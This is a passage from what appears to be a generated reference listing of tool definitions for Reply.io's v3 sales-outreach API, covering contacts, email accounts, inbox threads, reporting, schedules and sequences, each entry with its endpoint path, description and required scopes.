Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/contacts/find-emails. Scopes: none. replyio_post_v3_contacts_find_phones (write) — Find phone numbers. POST /v3/contacts/find-phones. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Find phone numbers for your contacts. Accepted straight away, with the search running in the background. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/contacts/find-phones. Scopes: none. replyio_post_v3_contacts_import (write) — Import contacts. POST /v3/contacts/import. Add or update many contacts in one call, each item requiring firstName. Options control deduplication, overwrite, and list assignment. POST /api/v1/replyio/v3/contacts/import. Scopes: contacts:write. replyio_post_v3_contacts_set_bounced (write) — Mark or unmark contacts as bounced. POST /v3/contacts/set-bounced. Record bounces detected outside Reply across every sequence a contact is in. Marking as bounced stops further steps. POST /api/v1/replyio/v3/contacts/set-bounced. Scopes: contacts:operate. replyio_post_v3_contacts_set_opted_out (write) — Opt contacts out or clear their opt-out. POST /v3/contacts/set-opted-out. Documented by Reply.io as coming soon (available by early September 2026); it may not answer yet. Opt contacts out of all outreach, or clear the flag. Opting out finishes them in every sequence they're in. The contact_opted_out webhook fires once per enrolled sequence, and not at all for a contact in no sequence. POST /api/v1/replyio/v3/contacts/set-opted-out. Scopes: contacts:operate. replyio_post_v3_contacts_set_replied (write) — Mark or unmark contacts as replied. POST /v3/contacts/set-replied. Record replies captured outside Reply, in another inbox or CRM, across every sequence a contact is in. Stops further steps. POST /api/v1/replyio/v3/contacts/set-replied. Scopes: contacts:operate. replyio_post_v3_contacts_set_status_in_sequence (write) — Set contacts' in-sequence status. POST /v3/contacts/set-status-in-sequence. Set contacts to active, paused, finished, or outOfOffice across every sequence they're in. Replied and bounced are separate. POST /api/v1/replyio/v3/contacts/set-status-in-sequence. Scopes: contacts:operate. replyio_post_v3_custom_fields (write) — Create a custom field. POST /v3/custom-fields. Track something on contacts that Reply doesn't capture by default. Provide a title and a text or number field type. POST /api/v1/replyio/v3/custom-fields. Scopes: contacts:write. replyio_post_v3_email_accounts (write) — Create an email account. POST /v3/email-accounts. Connect a custom SMTP or IMAP mailbox. Gmail and Office 365 use their own OAuth connect endpoints instead. POST /api/v1/replyio/v3/email-accounts. Scopes: channels:write. replyio_post_v3_email_accounts_bulk_delete (write) — Bulk delete email accounts. POST /v3/email-accounts/bulk-delete. Disconnect several email accounts in one call. Successful deletions stick; the response returns only the ids that failed. POST /api/v1/replyio/v3/email-accounts/bulk-delete. Scopes: channels:write. replyio_post_v3_email_accounts_by_id_resume_sending (write) — Resume sending. POST /v3/email-accounts/{id}/resume-sending. Clear a provider lock so an email account picks its sequences back up. Check sendingLockedByProvider first. POST /api/v1/replyio/v3/email-accounts/{id}/resume-sending. Scopes: channels:operate. replyio_post_v3_email_accounts_by_id_set_default (write) — Set default email account. POST /v3/email-accounts/{id}/set-default. Choose which email account Reply pre-selects for sending. Exactly one is default, so this clears the flag on the last one. POST /api/v1/replyio/v3/email-accounts/{id}/set-default. Scopes: channels:operate. replyio_post_v3_email_accounts_by_id_tags (write) — Add tags to an email account. POST /v3/email-accounts/{id}/tags. Label an email account so you can group or filter by it. Tags go by name, and any name that doesn't exist yet is created. POST /api/v1/replyio/v3/email-accounts/{id}/tags. Scopes: channels:operate. replyio_post_v3_email_accounts_filter (write) — Filter email accounts. POST /v3/email-accounts/filter. Find email accounts by status, provider, address, domain, owner, or tag. Every field is optional; an empty body matches all. POST /api/v1/replyio/v3/email-accounts/filter. Scopes: channels:read. replyio_post_v3_email_accounts_procurement_domains_estimate (write) — Estimate a domain order. POST /v3/email-accounts/procurement/domains/estimate. Documented by Reply.io as coming soon (available by late September 2026); it may not answer yet. Price breakdown for a domain and its mailboxes before you order — per-seat unit prices, subtotal, discount and total, all in cents. Send serviceProvider (google or microsoft) and domain.mailboxes with 1 to 5 entries. POST /api/v1/replyio/v3/email-accounts/procurement/domains/estimate. Scopes: channels:read. replyio_post_v3_email_accounts_procurement_domains_purchase (write) — Buy a domain with mailboxes. POST /v3/email-accounts/procurement/domains/purchase. Documented by Reply.io as coming soon (available by late September 2026); it may not answer yet. Orders a domain and the mailboxes that send from it. Send serviceProvider (google or microsoft) and domain.mailboxes with 1 to 5 entries, exactly one with isAdmin true. Returns a jobId — poll GET /v3/background-jobs/{jobId} for the outcome. Places a real, billed order on the Reply.io account. POST /api/v1/replyio/v3/email-accounts/procurement/domains/purchase. Scopes: channels:write. replyio_post_v3_email_accounts_procurement_users (write) — Register The Procurement User. POST /v3/email-accounts/procurement/users. Documented by Reply.io as coming soon (available by late September 2026); it may not answer yet. Contact details and postal address that domain registrations are filed under. Register once per team — the other Mailbox Procurement endpoints return 403 until you do. POST /api/v1/replyio/v3/email-accounts/procurement/users. Scopes: channels:write. replyio_post_v3_email_accounts_stats (write) — Filter email account stats. POST /v3/email-accounts/stats. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Get sending stats for a set of email accounts at once — handy for spotting mailboxes near their daily limit. POST /api/v1/replyio/v3/email-accounts/stats. Scopes: channels:read. replyio_post_v3_email_accounts_test_imap (write) — Test IMAP connectivity. POST /v3/email-accounts/test/imap. Check IMAP receiving credentials before you commit. Nothing is created or changed, and a failed test still returns 200. POST /api/v1/replyio/v3/email-accounts/test/imap. Scopes: channels:operate. replyio_post_v3_email_accounts_test_smtp (write) — Test SMTP connectivity. POST /v3/email-accounts/test/smtp. Check SMTP sending credentials before you commit. Nothing is created or changed, and a failed test still returns 200. POST /api/v1/replyio/v3/email-accounts/test/smtp. Scopes: channels:operate. replyio_post_v3_email_template_folders (write) — Create an email template folder. POST /v3/email-template-folders. Create a folder to group email templates under. Pick personal or team, with names up to 128 characters and unique per type. POST /api/v1/replyio/v3/email-template-folders. Scopes: sequences:write. replyio_post_v3_email_template_folders_by_id_share (write) — Share an email template folder. POST /v3/email-template-folders/{id}/share. Move one of your personal template folders, and everything in it, across to your team. No request body needed. POST /api/v1/replyio/v3/email-template-folders/{id}/share. Scopes: sequences:write. replyio_post_v3_email_templates (write) — Create an email template. POST /v3/email-templates. Store a reusable email as a template. Name, body, and folderType are required; folderType is personal or team. POST /api/v1/replyio/v3/email-templates. Scopes: sequences:write. replyio_post_v3_email_templates_by_id_clone (write) — Clone an email template. POST /v3/email-templates/{id}/clone. Copy a template so you can change it without touching the original. The copy keeps the folder and is named Copy of… POST /api/v1/replyio/v3/email-templates/{id}/clone. Scopes: sequences:write. replyio_post_v3_email_templates_by_id_move (write) — Move an email template. POST /v3/email-templates/{id}/move. File a template under a different folder. Send folderId with a matching folderType of personal or team; the folder must exist. POST /api/v1/replyio/v3/email-templates/{id}/move. Scopes: sequences:write. replyio_post_v3_email_templates_by_id_render (write) — Render an email template. POST /v3/email-templates/{id}/render. See how a template reads for a particular contact, with their field values filled in. contactId is required. POST /api/v1/replyio/v3/email-templates/{id}/render. Scopes: sequences:operate. replyio_post_v3_email_templates_by_id_send_test (write) — Send a test email. POST /v3/email-templates/{id}/send-test. See how a template lands in a real inbox. Both the destination address and the sending account id are required. Sends to real recipients. POST /api/v1/replyio/v3/email-templates/{id}/send-test. Scopes: sequences:operate. replyio_post_v3_email_validations_estimate (write) — Estimate email validation. POST /v3/email-validations/estimate. Size and price an email validation run before committing. Nothing is queued and no credits are held. Up to 10,000 contact ids. POST /api/v1/replyio/v3/email-validations/estimate. Scopes: contacts:read. replyio_post_v3_email_validations_schedule (write) — Schedule email validation. POST /v3/email-validations/schedule. Start validating specific contacts' email addresses. Up to 10,000 ids; call estimate first for the counts and credit cost. POST /api/v1/replyio/v3/email-validations/schedule. Scopes: contacts:operate. replyio_post_v3_holiday_calendars (write) — Create a holiday calendar. POST /v3/holiday-calendars. Build your own holiday calendar from dates you supply. Each entry needs a name, a start date, and an end date. POST /api/v1/replyio/v3/holiday-calendars. Scopes: sequences:write. replyio_post_v3_inbox_threads_bulk_delete (write) — Bulk-delete inbox threads. POST /v3/inbox/threads/bulk-delete. Use this endpoint when you need to permanently remove several inbox conversations in one call. Threads are processed one by one and successful deletions are kept even when others fail; the response returns only the thread ids that were not deleted, each with its error details, so an empty object means everything succeeded. A per-item error is notFound when the thread does not exist, or forbidden when you are not allowed to delete it. POST /api/v1/replyio/v3/inbox/threads/bulk-delete. Scopes: inbox:operate. replyio_post_v3_inbox_threads_by_id_ai_draft_feedback (write) — Submit feedback on a generated AI draft. POST /v3/inbox/threads/{id}/ai-draft/feedback. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Records a thumbs-up / thumbs-down on the AI-generated draft, with optional dislike reasons and a freeform comment. Used as a training signal. Requires the AI SDR feature on the caller's team. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/inbox/threads/{id}/ai-draft/feedback. Scopes: none. replyio_post_v3_inbox_threads_by_id_ai_draft_generate (write) — Generate an AI draft reply. POST /v3/inbox/threads/{id}/ai-draft/generate. Generate an AI-suggested reply for an inbox thread. Each call makes a fresh draft, so it also powers Regenerate. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/inbox/threads/{id}/ai-draft/generate. Scopes: none. replyio_post_v3_inbox_threads_by_id_messages (write) — Send a reply within a thread. POST /v3/inbox/threads/{id}/messages. Reply to a contact inside an existing conversation. The channel in your body must match the thread's, or it's rejected. Sends to real recipients. POST /api/v1/replyio/v3/inbox/threads/{id}/messages. Scopes: inbox:operate. replyio_post_v3_inbox_threads_categories (write) — Create inbox category. POST /v3/inbox/threads/categories. Use this endpoint when you need a category of your own to sort inbox conversations under. Provide a name — unique within your team, ignoring case — and optionally a color; the created category is returned with its assigned id. POST /api/v1/replyio/v3/inbox/threads/categories. Scopes: inbox:write. replyio_post_v3_inbox_threads_categories_by_id_thread_links_bulk (write) — Assign threads to a category. POST /v3/inbox/threads/categories/{id}/thread-links/bulk. Use this endpoint when you need to file several conversations under this category at once. A thread sits in at most one category, so any earlier category on a supplied thread is replaced. Threads are processed one by one and successful links are kept even when others fail; the response returns only the thread ids that were not linked, each with its error details. POST /api/v1/replyio/v3/inbox/threads/categories/{id}/thread-links/bulk. Scopes: inbox:operate. replyio_post_v3_inbox_threads_categories_by_id_thread_links_bulk_delete (write) — Unassign threads from a category. POST /v3/inbox/threads/categories/{id}/thread-links/bulk-delete. Use this endpoint when you need to take several conversations out of this category. A supplied thread filed under a different category is left alone. The conversations themselves are not deleted. Threads are processed one by one; the response returns only the thread ids that were not unlinked, each with its error details. POST /api/v1/replyio/v3/inbox/threads/categories/{id}/thread-links/bulk-delete. Scopes: inbox:operate. replyio_post_v3_inbox_threads_filter (write) — Filter inbox threads. POST /v3/inbox/threads/filter. Use this endpoint when you need the inbox threads matching specific criteria — a search term, channel, owner, sequence, email or LinkedIn account, contact, category, date range, source, or only those flagged with meeting intent. Every filter field is optional, and an empty body matches the same set as the plain thread listing. Results are paged with the top and skip query parameters. POST /api/v1/replyio/v3/inbox/threads/filter. Scopes: inbox:read. replyio_post_v3_inbox_threads_mark_as_read (write) — Mark threads as read. POST /v3/inbox/threads/mark-as-read. Use this endpoint when you need to clear the unread state on one or more conversations — for example after your own app has shown them to the user. Threads that are already read are unaffected. Threads are processed one by one; the response returns only the thread ids that were not updated, each with its error details, so an empty object means everything succeeded. A per-item error is notFound when the thread does not exist, or forbidden when you are not allowed to access it. POST /api/v1/replyio/v3/inbox/threads/mark-as-read. Scopes: inbox:operate. replyio_post_v3_inbox_threads_mark_as_unread (write) — Mark threads as unread. POST /v3/inbox/threads/mark-as-unread. Use this endpoint when you need to flag one or more conversations as needing attention again by restoring their unread state. Threads are processed one by one; the response returns only the thread ids that were not updated, each with its error details, so an empty object means everything succeeded. A per-item error is notFound when the thread does not exist, or forbidden when you are not allowed to access it. POST /api/v1/replyio/v3/inbox/threads/mark-as-unread. Scopes: inbox:operate. replyio_post_v3_linkedin_accounts_bulk_delete (write) — Bulk delete LinkedIn accounts. POST /v3/linkedin-accounts/bulk-delete. Disconnect up to 100 LinkedIn accounts in one call. Set force to true to delete accounts still used by sequences. POST /api/v1/replyio/v3/linkedin-accounts/bulk-delete. Scopes: channels:write. replyio_post_v3_linkedin_accounts_by_id_reconnect (write) — Reconnect a LinkedIn account. POST /v3/linkedin-accounts/{id}/reconnect. Get a fresh connection link for a connected LinkedIn account whose session cookie has expired and stopped working. POST /api/v1/replyio/v3/linkedin-accounts/{id}/reconnect. Scopes: channels:write. replyio_post_v3_linkedin_accounts_by_id_toggle_status (write) — Toggle LinkedIn account status. POST /v3/linkedin-accounts/{id}/toggle-status. Pause or resume LinkedIn automation on one account. The call flips between enabled and disabled and returns the result. POST /api/v1/replyio/v3/linkedin-accounts/{id}/toggle-status. Scopes: channels:operate. replyio_post_v3_linkedin_accounts_connect (write) — Create a direct connection link. POST /v3/linkedin-accounts/connect. Get a connection link without naming the account up front — the name is captured as the link is completed. POST /api/v1/replyio/v3/linkedin-accounts/connect. Scopes: channels:write. replyio_post_v3_linkedin_accounts_connection_link (write) — Create a connection link. POST /v3/linkedin-accounts/connection-link. Invite a named LinkedIn account to connect. Returns a link to hand to the profile owner plus the pending account id. POST /api/v1/replyio/v3/linkedin-accounts/connection-link. Scopes: channels:write. replyio_post_v3_live_data_searches (write) — Start a Live Data search. POST /v3/live-data/searches. Run a set of Live Data filters and add the people it matches to your contacts. Send filters and contactsCountToAdd. POST /api/v1/replyio/v3/live-data/searches. Scopes: contacts:write. replyio_post_v3_live_data_searches_preview (write) — Preview a Live Data search. POST /v3/live-data/searches/preview. Size a Live Data audience before spending on it. Nothing is saved and no contacts are added, so you can try combinations. POST /api/v1/replyio/v3/live-data/searches/preview. Scopes: contacts:write. replyio_post_v3_reporting_calls (write) — List call activity. POST /v3/reporting/calls. Use this endpoint when you need the individual calls behind the calls report rather than its totals — one row per call, oldest first, carrying the team member who made it, the contact and phone number, the start time in your account time zone, the duration, resolution, disposition and direction, plus a link to the recording when you are allowed to listen to your team recordings. Results are returned as a page controlled by the top and skip query parameters; omit both to get the first page. POST /api/v1/replyio/v3/reporting/calls. Scopes: reporting:read. replyio_post_v3_reporting_calls_overview (write) — Get calls reporting overview. POST /v3/reporting/calls/overview. Use this endpoint when you need call activity for a period rolled up two ways at once — a single total for the whole selection covering calls placed, answered and resolved positively, missed inbound calls, average call duration and calls per answered contact, and the same figures repeated per team member under memberStatistics, keyed by userId. Use the calls endpoint instead when you need the individual call records behind these numbers. POST /api/v1/replyio/v3/reporting/calls/overview. Scopes: reporting:read. replyio_post_v3_reporting_channel_efficiency_overview (write) — Get channel efficiency overview. POST /v3/reporting/channel-efficiency/overview. Compare channels for a period: contacts touched, touches across email, SMS, calls, tasks, and LinkedIn, replies, and meetings. POST /api/v1/replyio/v3/reporting/channel-efficiency/overview. Scopes: reporting:read. replyio_post_v3_reporting_emails (write) — List email activity. POST /v3/reporting/emails. Use this endpoint when you need the individual emails behind the email report rather than its totals — one row per email sent, carrying the contact, the email account it was sent from, the sequence and step it belongs to, its delivery date, and whether it was delivered, opened, clicked, replied to, marked interested, bounced or opted out. Results are returned as a page controlled by the top and skip query parameters; omit both to get the first page. POST /api/v1/replyio/v3/reporting/emails. Scopes: reporting:read. replyio_post_v3_reporting_emails_overview (write) — Get email reporting overview. POST /v3/reporting/emails/overview. Use this endpoint when you need the headline email numbers for a period as one team-wide total with no per-member or per-sequence split — how many contacts were reached, and how many of them were delivered to, opened, replied, showed interest, bounced, auto-replied, were out of office, opted out or booked a meeting, each counted in distinct contacts and paired with its rate. Use the emails endpoint instead when you need the individual sent emails behind these totals. POST /api/v1/replyio/v3/reporting/emails/overview. Scopes: reporting:read. replyio_post_v3_reporting_linkedin (write) — List LinkedIn activity. POST /v3/reporting/linkedin. Use this endpoint when you need the individual LinkedIn actions behind the LinkedIn report rather than its totals — one row per action, oldest first, carrying the action type, the date it happened, the LinkedIn account that performed it, the contact it targeted and the sequence step it came from. Results are returned as a page controlled by the top and skip query parameters; omit both to get the first page. POST /api/v1/replyio/v3/reporting/linkedin. Scopes: reporting:read. replyio_post_v3_reporting_linkedin_overview (write) — Get LinkedIn reporting overview. POST /v3/reporting/linkedin/overview. Use this endpoint when you need LinkedIn activity for a period as one team-wide total — connection requests sent and accepted, connection notes, regular messages and InMails with the replies each drew, and profile views, likes, follows, endorsements and comments, with acceptance and reply rates alongside the raw counts. There is no per-account or per-member split here; use the linkedin endpoint instead when you need the individual actions behind these totals. POST /api/v1/replyio/v3/reporting/linkedin/overview. Scopes: reporting:read. replyio_post_v3_reporting_tasks (write) — List task activity. POST /v3/reporting/tasks. Use this endpoint when you need the individual tasks behind the tasks report rather than its totals — one row per task ordered by due date, carrying the assignee, the task type and its LinkedIn sub-type where one applies, the task status, its description and the contact it concerns. Results are returned as a page controlled by the top and skip query parameters; omit both to get the first page. POST /api/v1/replyio/v3/reporting/tasks. Scopes: reporting:read. replyio_post_v3_reporting_tasks_overview (write) — Get tasks reporting overview. POST /v3/reporting/tasks/overview. Use this endpoint when you need task volume for a period rolled up two ways at once — a total task count with a count and share of the total for each task type (calls, emails, LinkedIn, SMS, to-dos and WhatsApp), and the same counts repeated per team member under memberStatistics, keyed by userId. Use the tasks endpoint instead when you need the individual tasks behind these counts. POST /api/v1/replyio/v3/reporting/tasks/overview. Scopes: reporting:read. replyio_post_v3_reporting_team_performance_meetings (write) — List meetings. POST /v3/reporting/team-performance/meetings. Use this endpoint when you need the individual meetings behind the team performance report rather than its totals — one row per meeting, oldest first, carrying the team member credited with it, the channel it was booked through, the contact and the sequence it came from, with the booking time in your account time zone. Results are returned as a page controlled by the top and skip query parameters; omit both to get the first page. POST /api/v1/replyio/v3/reporting/team-performance/meetings. Scopes: reporting:read. replyio_post_v3_reporting_team_performance_overview (write) — Get team performance overview. POST /v3/reporting/team-performance/overview. Use this endpoint when you need to compare the people on your team over a period — meetings booked, contacts in sequences, meeting conversion rate, average touches per contact split into automated and manual, and average response time, returned both as a team total and per member under memberStatistics, keyed by userId. POST /api/v1/replyio/v3/reporting/team-performance/overview. Scopes: reporting:read. replyio_post_v3_schedules (write) — Create a schedule. POST /v3/schedules. Create a sending schedule for your sequences. The name must be unique in your team, and timezoneId takes a Windows time zone id. POST /api/v1/replyio/v3/schedules. Scopes: sequences:write. replyio_post_v3_schedules_by_id_holiday_calendar_links (write) — Link a holiday calendar to a schedule. POST /v3/schedules/{id}/holiday-calendar-links. Have a schedule observe a holiday calendar. A schedule can hold several, but linking the same one twice is rejected. POST /api/v1/replyio/v3/schedules/{id}/holiday-calendar-links. Scopes: sequences:operate. replyio_post_v3_schedules_by_id_set_default (write) — Set default schedule. POST /v3/schedules/{id}/set-default. Pick the schedule your new sequences start with. The default is yours alone and doesn't change what teammates use. POST /api/v1/replyio/v3/schedules/{id}/set-default. Scopes: sequences:operate. replyio_post_v3_sequence_folders (write) — Create a sequence folder. POST /v3/sequence-folders. Create a folder to group sequences under. The name is capped at 128 characters and must be unique among yours. POST /api/v1/replyio/v3/sequence-folders. Scopes: sequences:write. replyio_post_v3_sequence_folders_by_id_sequence_links_bulk (write) — Bulk assign sequences to a folder. POST /v3/sequence-folders/{id}/sequence-links/bulk. File up to 1000 sequences into a folder in one call. A sequence belongs to one folder, so this moves it out of any other. POST /api/v1/replyio/v3/sequence-folders/{id}/sequence-links/bulk. Scopes: sequences:operate. replyio_post_v3_sequence_folders_by_id_sequence_links_bulk_delete (write) — Bulk unassign sequences from a folder. POST /v3/sequence-folders/{id}/sequence-links/bulk-delete. Take up to 1000 sequences out of a folder without deleting them — they stay in your account and become unfiled. POST /api/v1/replyio/v3/sequence-folders/{id}/sequence-links/bulk-delete. Scopes: sequences:operate. replyio_post_v3_sequences (write) — Create a sequence. POST /v3/sequences. Create a sequence to send from. Name and at least one step are required — a sequence with no steps has nothing to send and cannot be started. Omit scheduleId to fall back to your default schedule. POST /api/v1/replyio/v3/sequences. Scopes: sequences:write. replyio_post_v3_sequences_ai_sdr (write) — Create an AI SDR sequence. POST /v3/sequences/ai-sdr. Create a sequence the AI SDR writes and runs. Seed the company context with exactly one of offerId or offerGenerationInputs. POST /api/v1/replyio/v3/sequences/ai-sdr. Scopes: ai-sdr:write. replyio_post_v3_sequences_ai_sdr_by_sequence_id_autopilot_disable (write) — Disable autopilot. POST /v3/sequences/ai-sdr/{sequence_id}/autopilot/disable. Stop a sequence looking for new contacts on its own. Existing contacts, filters, and limits stay exactly as they are. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/autopilot/disable. Scopes: ai-sdr:operate. replyio_post_v3_sequences_ai_sdr_by_sequence_id_autopilot_enable (write) — Enable autopilot. POST /v3/sequences/ai-sdr/{sequence_id}/autopilot/enable. Let a sequence keep finding and adding contacts on its own, using the autopilot filters and limits already saved on it. Sends to real recipients. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/autopilot/enable. Scopes: ai-sdr:operate. replyio_post_v3_sequences_ai_sdr_by_sequence_id_autopilot_force_start (write) — Force-start an autopilot search. POST /v3/sequences/ai-sdr/{sequence_id}/autopilot/force-start. Start an autopilot contact search now instead of waiting for the next run. Autopilot has to be on or the call is rejected. Sends to real recipients. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/autopilot/force-start. Scopes: ai-sdr:operate. replyio_post_v3_sequences_ai_sdr_by_sequence_id_autopilot_preview (write) — Preview autopilot results. POST /v3/sequences/ai-sdr/{sequence_id}/autopilot/preview. See how many contacts and companies a set of autopilot filters would reach before you commit. Nothing you send is saved. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/autopilot/preview. Scopes: ai-sdr:operate. replyio_post_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_approval_feedback (write) — Submit feedback on a pending approval. POST /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/feedback. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Use this endpoint when you need to tell the AI SDR whether a queued draft was good, so it can learn from your judgement. Set vote to like or dislike; when the vote is dislike, add dislikeReasons to categorize what was wrong and comment for a freeform explanation. The feedback is recorded against the approval pending for the sequence_id and contact_id in the path, so no draft identifier is needed. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/feedback. Scopes: none. replyio_post_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_approval_regenerate (write) — Regenerate a pending approval. POST /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/regenerate. Have the AI SDR write a new message while keeping the contact in the sequence. Pass recommendations to steer the rewrite. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/regenerate. Scopes: ai-sdr:write. replyio_post_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_approval_send (write) — Send a pending approval. POST /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/send. Approve and send one contact's queued draft. Leave body and subject unset to send as generated, or pass either to overwrite. Sends to real recipients. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/approval/send. Scopes: ai-sdr:write. replyio_post_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_preview_personalize (write) — Personalize the preview for a contact. POST /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/preview/personalize. Have the AI write or rewrite the messages one contact will get in an AI SDR sequence. Runs in the background across their steps. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/preview/personalize. Scopes: ai-sdr:write. replyio_post_v3_sequences_ai_sdr_by_sequence_id_contacts_by_contact_id_preview_steps_by_step_id_feedback (write) — Submit feedback on a preview step. POST /v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/preview/steps/{step_id}/feedback. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Use this endpoint when you need to record a reaction to the AI-generated message for one step of a contact's preview — set vote to like or dislike. When the vote is dislike you can add dislikeReasons to categorize what was wrong, and comment carries a freeform note alongside either vote. The feedback is kept as a training signal for the AI SDR; a successful call returns no content. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/contacts/{contact_id}/preview/steps/{step_id}/feedback. Scopes: none. replyio_post_v3_sequences_archive (write) — Bulk archive sequences. POST /v3/sequences/archive. Archive up to 1000 sequences in one call. Each must be paused or never started, and its contacts are taken out. POST /api/v1/replyio/v3/sequences/archive. Scopes: sequences:write. replyio_post_v3_sequences_batch_owner (write) — Bulk change sequence owner. POST /v3/sequences/batch/owner. Hand up to 1000 sequences to another team member. Reassigning is restricted to the team owner outside an organization. POST /api/v1/replyio/v3/sequences/batch/owner. Scopes: sequences:write. replyio_post_v3_sequences_bulk_delete (write) — Bulk delete sequences. POST /v3/sequences/bulk-delete. Delete up to 1000 sequences in one call. Their contacts stay in your account, but a deleted sequence can't be restored. POST /api/v1/replyio/v3/sequences/bulk-delete. Scopes: sequences:write. replyio_post_v3_sequences_by_id_archive (write) — Archive a sequence. POST /v3/sequences/{id}/archive. Put a sequence aside without deleting it. Pause it first, and note that archiving removes every contact currently in it. POST /api/v1/replyio/v3/sequences/{id}/archive. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contact_links_bulk (write) — Bulk add contacts to sequence. POST /v3/sequences/{id}/contact-links/bulk. Enroll contacts in a sequence — up to 10,000 ids per call. Set removeFromExisting to pull them out of their current ones. POST /api/v1/replyio/v3/sequences/{id}/contact-links/bulk. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contact_links_bulk_delete (write) — Bulk remove contacts from sequence. POST /v3/sequences/{id}/contact-links/bulk-delete. Use this endpoint when you need to take several contacts out of a sequence in one call: list them in contactIds, at least one and with no duplicates. Each of them stops progressing through the steps and anything still scheduled for it in this sequence is cancelled, while the contacts themselves stay in your account and their memberships in other sequences are left alone. POST /api/v1/replyio/v3/sequences/{id}/contact-links/bulk-delete. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contacts_set_bounced (write) — Mark or unmark contacts as bounced in this sequence. POST /v3/sequences/{id}/contacts/set-bounced. Record bounces against this sequence alone. Clearing the flag also requires resendEmails to say what to do next. POST /api/v1/replyio/v3/sequences/{id}/contacts/set-bounced. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contacts_set_email_account (write) — Set the sending mailbox for contacts in this sequence. POST /v3/sequences/{id}/contacts/set-email-account. Repoint contacts already in this sequence at a different sending mailbox. Up to 100 ids; the mailbox must already be linked. POST /api/v1/replyio/v3/sequences/{id}/contacts/set-email-account. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contacts_set_replied (write) — Mark or unmark contacts as replied in this sequence. POST /v3/sequences/{id}/contacts/set-replied. Record replies that reached you elsewhere against this sequence alone. Marking as replied finishes the contact here. POST /api/v1/replyio/v3/sequences/{id}/contacts/set-replied. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_contacts_set_status_in_sequence (write) — Set contacts' status in this sequence. POST /v3/sequences/{id}/contacts/set-status-in-sequence. Set contacts to active, paused, finished, or outOfOffice in this sequence alone. Up to 100 ids, with no duplicates. POST /api/v1/replyio/v3/sequences/{id}/contacts/set-status-in-sequence. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_email_account_links (write) — Assign email account to sequence. POST /v3/sequences/{id}/email-account-links. Add one more mailbox for a sequence to send from. A sequence can hold up to 100 linked accounts, and the call is idempotent. POST /api/v1/replyio/v3/sequences/{id}/email-account-links. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_linkedin_account_links (write) — Assign a LinkedIn account to a sequence. POST /v3/sequences/{id}/linkedin-account-links. Add one more LinkedIn account for a sequence's LinkedIn steps. It links whatever state the account is currently in. POST /api/v1/replyio/v3/sequences/{id}/linkedin-account-links. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_pause (write) — Pause a sequence. POST /v3/sequences/{id}/pause. Stop a running sequence sending further steps while keeping it and its contacts in place. It must have started once. POST /api/v1/replyio/v3/sequences/{id}/pause. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_save_as_template (write) — Save a sequence as a template. POST /v3/sequences/{id}/save-as-template. Reuse a sequence's structure for future ones. Name the template and set scope to organization to share it wider. POST /api/v1/replyio/v3/sequences/{id}/save-as-template. Scopes: sequences:write. replyio_post_v3_sequences_by_id_start (write) — Start a sequence. POST /v3/sequences/{id}/start. Start a sequence or resume a paused one. It needs contacts, a connected email account, and a schedule with sending hours. Sends to real recipients. POST /api/v1/replyio/v3/sequences/{id}/start. Scopes: sequences:operate. replyio_post_v3_sequences_by_id_stats (write) — Get sequence stats. POST /v3/sequences/{id}/stats. Get engagement figures for one sequence. Set the window with a date range preset or an explicit from and to, not both. POST /api/v1/replyio/v3/sequences/{id}/stats. Scopes: sequences:read. replyio_post_v3_sequences_by_id_steps (write) — Create a sequence step. POST /v3/sequences/{id}/steps. Add a step to a sequence. type picks what it does — email, linkedIn, call, sms, condition, and more; linkedIn adds actionType. POST /api/v1/replyio/v3/sequences/{id}/steps. Scopes: sequences:write. replyio_post_v3_sequences_by_id_steps_bulk (write) — Bulk create sequence steps. POST /v3/sequences/{id}/steps/bulk. Add several steps to a sequence in one call, processed in order, each appended after the one before it. POST /api/v1/replyio/v3/sequences/{id}/steps/bulk. Scopes: sequences:write. replyio_post_v3_sequences_by_id_steps_bulk_delete (write) — Bulk delete sequence steps. POST /v3/sequences/{id}/steps/bulk-delete. Delete up to 100 steps from a sequence at once. Each step's children re-attach to its parent as it goes. POST 